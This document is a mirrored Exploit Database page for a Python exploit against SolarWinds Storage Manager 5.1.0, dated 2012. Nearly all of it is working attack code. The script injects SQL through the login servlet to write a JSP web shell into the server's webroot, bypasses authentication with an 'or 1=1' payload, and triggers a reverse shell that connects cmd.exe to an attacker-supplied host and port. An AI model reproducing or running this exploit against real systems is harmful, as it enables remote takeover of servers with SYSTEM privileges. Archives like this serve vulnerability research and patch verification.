SolarWinds Storage Manager 5.1.0 – Remote SYSTEM SQL Injection

• Exploit Database
• 35 阅读

• 作者： muts
  日期： 2012-05-01
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18818/

• #!/usr/bin/python
  ######################################################################################
  # Exploit Title: Solarwinds Storage Manager 5.1.0 Remote SYSTEM SQL Injection Exploit
  # Date: May 2nd 2012
  # Author: muts
  # Version: SolarWinds Storage Manager 5.1.0
  # Tested on: Windows 2003
  # Archive Url : http://www.offensive-security.com/0day/solarshell.txt
  ######################################################################################
  # Discovered by Digital Defence - DDIVRT-2011-39
  ######################################################################################
  
  
  import urllib, urllib2, cookielib
  import sys
  import random
  
  print "\n[*] Solarwinds Storage Manager 5.1.0 Remote SYSTEM SQL Injection Exploit"
  print "[*] Vulnerability discovered by Digital Defence - DDIVRT-2011-39"
  
  print "[*] Offensive Security - http://www.offensive-security.com\n"
  if (len(sys.argv) != 4):
  	print "[*] Usage: solarshell.py <RHOST> <LHOST> <LPORT>"
  	exit(0)
  
  rhost = sys.argv[1]
  lhost = sys.argv[2]
  lport = sys.argv[3]
  
  filename = ''
  for i in random.sample('abcdefghijklmnopqrstuvwxyz1234567890',6):
  	filename+=i
  filename +=".jsp"
  
  output_path= "c:/Program Files/SolarWinds/Storage Manager Server/webapps/ROOT/%s" %filename
  
  jsp = '''<%@page import="java.lang.*"%>
  <%@page import="java.util.*"%>
  <%@page import="java.io.*"%>
  <%@page import="java.net.*"%>
  
  <%
  	class StreamConnector extends Thread
  	{
  		InputStream is;
  		OutputStream os;
  
  		StreamConnector( InputStream is, OutputStream os )
  		{
  		this.is = is;
  		this.os = os;
  		}
  
  		public void run()
  		{
  		BufferedReader in= null;
  		BufferedWriter out = null;
  try
  {
  	in= new BufferedReader( new InputStreamReader( this.is ) );
  	out = new BufferedWriter( new OutputStreamWriter( this.os ) );
  	char buffer[] = new char[8192];
  	int length;
  	while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
  	{
  		out.write( buffer, 0, length );
  		out.flush();
  	}
  } catch( Exception e ){}
  try
  {
  	if( in != null )
  		in.close();
  	if( out != null )
  		out.close();
  } catch( Exception e ){}
  		}
  	}
  
  	try
  	{
  		Socket socket = new Socket( "''' + lhost +'''", '''+lport+''');
  		Process process = Runtime.getRuntime().exec( "cmd.exe" );
  		( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
  		( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
  	} catch( Exception e ) {}
  %>'''
  
  jsp = jsp.replace("\n","")
  jsp = jsp.replace("\t","")
  
  prepayload = "AAA' "
  prepayload += 'union select 0x%s,2,3,4,5,6,7,8,9,10,11,12,13,14 into outfile "%s"' % (jsp.encode('hex'),output_path)
  prepayload += "#"
  postpayload = "1' or 1=1#--"
  loginstate='checkLogin'
  password = 'OHAI'
  
  cj = cookielib.CookieJar()
  opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
  post_params = urllib.urlencode({'loginState' : loginstate, 'loginName' : prepayload,'password' : password})
  print "[*] Sending evil payload"
  resp = opener.open("http://%s:9000/LoginServlet" %rhost, post_params)
  print "[*] Triggering shell"
  post_params = urllib.urlencode({'loginState' : loginstate, 'loginName' : postpayload,'password' : password})
  resp = opener.open("http://%s:9000/LoginServlet" % rhost, post_params)
  resp = opener.open("http://%s:9000/%s"% (rhost,filename))
  print "[*] Check your shell on %s %s\n" % (lhost,lport)
  
  # 01010011 01101100 01100101 01100101 01110000 01101001 01110011 01101111 
  # 01110110 01100101 01110010 01110010 01100001 01110100 01100101 01100100